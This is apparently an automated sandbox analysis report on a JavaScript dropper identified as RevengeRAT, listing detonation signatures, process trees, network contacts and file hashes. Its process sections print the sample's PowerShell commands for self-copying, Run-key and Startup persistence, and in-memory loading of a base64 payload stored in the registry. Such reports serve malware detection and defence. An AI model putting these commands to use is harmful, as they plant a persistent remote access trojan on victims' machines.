Malware Analysis Report

2025-01-18 04:54

Sample ID 241015-sra71s1gmc
Target 1Documentos de reserva.js
SHA256 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
Tags
revengerat nyancatrevenge execution persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

Threat Level: Known bad

The file 1Documentos de reserva.js was found to be: Known bad.

Malicious Activity Summary

revengerat nyancatrevenge execution persistence trojan

RevengeRAT

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Drops startup file

Checks computer location settings

Adds Run key to start application

Enumerates physical storage devices

Command and Scripting Interpreter: JavaScript

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-15 15:21

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-15 15:21

Reported

2024-10-15 15:23

Platform

win7-20240903-en

Max time kernel

120s

Max time network

136s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js"

Signatures

RevengeRAT

trojan revengerat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1Documentos de reserva.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\1Documentos de reserva.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2512 wrote to memory of 2164 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2512 wrote to memory of 2164 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2512 wrote to memory of 2164 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2164 wrote to memory of 2808 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2164 wrote to memory of 2808 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2164 wrote to memory of 2808 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2808 wrote to memory of 2768 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2768 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2768 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2908 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2908 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2908 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2776 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2776 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2776 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\1Documentos de reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\1Documentos de reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 54.146.241.16:5222 tcp

Files

memory/2164-4-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

memory/2164-5-0x000000001B830000-0x000000001BB12000-memory.dmp

memory/2164-7-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

memory/2164-6-0x0000000001D80000-0x0000000001D88000-memory.dmp

memory/2164-8-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

memory/2164-9-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

memory/2164-10-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

memory/2164-11-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js

MD5 14e68a45361bb287393747ce2b271838
SHA1 16144ac8dc7ecc27e4667a3241da8810f8b84778
SHA256 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
SHA512 1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 d74bfe2cf9957037f3c18ef59b7ba7df
SHA1 b3526122fbcaf4c81694c775baa56ed790dd571e
SHA256 f5cc0c1c1adaa2ca7dce3cd70f565afb51ec621304acb6d7c968fe01878442c1
SHA512 a663af81df1498816d8f5ab50a3ade6c95f06508e04e0d031c0bfd288266e7ad9ee369bdbe4f62607e2b27fe48d2a1e31884ca410aefed1d46cae5aa05eb8ab6

memory/2776-30-0x0000000002A70000-0x0000000002A7A000-memory.dmp

memory/2164-31-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

memory/2164-32-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-15 15:21

Reported

2024-10-15 15:23

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

154s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js"

Signatures

RevengeRAT

trojan revengerat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1Documentos de reserva.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\1Documentos de reserva.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\1Documentos de reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\1Documentos de reserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\1Documentos de reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 16.241.146.54.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

memory/4508-0-0x00007FFCA5843000-0x00007FFCA5845000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0qln1mi.k40.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4508-10-0x0000021574EE0000-0x0000021574F02000-memory.dmp

memory/4508-11-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

memory/4508-12-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

memory/4508-13-0x00000215752E0000-0x0000021575324000-memory.dmp

C:\Users\Admin\AppData\Roaming\1Documentos de reserva.js

MD5 14e68a45361bb287393747ce2b271838
SHA1 16144ac8dc7ecc27e4667a3241da8810f8b84778
SHA256 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
SHA512 1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

memory/4508-16-0x0000021575330000-0x00000215753A6000-memory.dmp

memory/2848-45-0x00000230FE290000-0x00000230FE29A000-memory.dmp

memory/4508-46-0x00007FFCA5843000-0x00007FFCA5845000-memory.dmp

memory/4508-47-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

memory/4508-48-0x0000021574B90000-0x0000021574DAC000-memory.dmp

memory/3996-49-0x0000028AF44F0000-0x0000028AF470C000-memory.dmp

memory/2132-50-0x000001B4C6DC0000-0x000001B4C6FDC000-memory.dmp

memory/2848-51-0x00000230FDF30000-0x00000230FE14C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c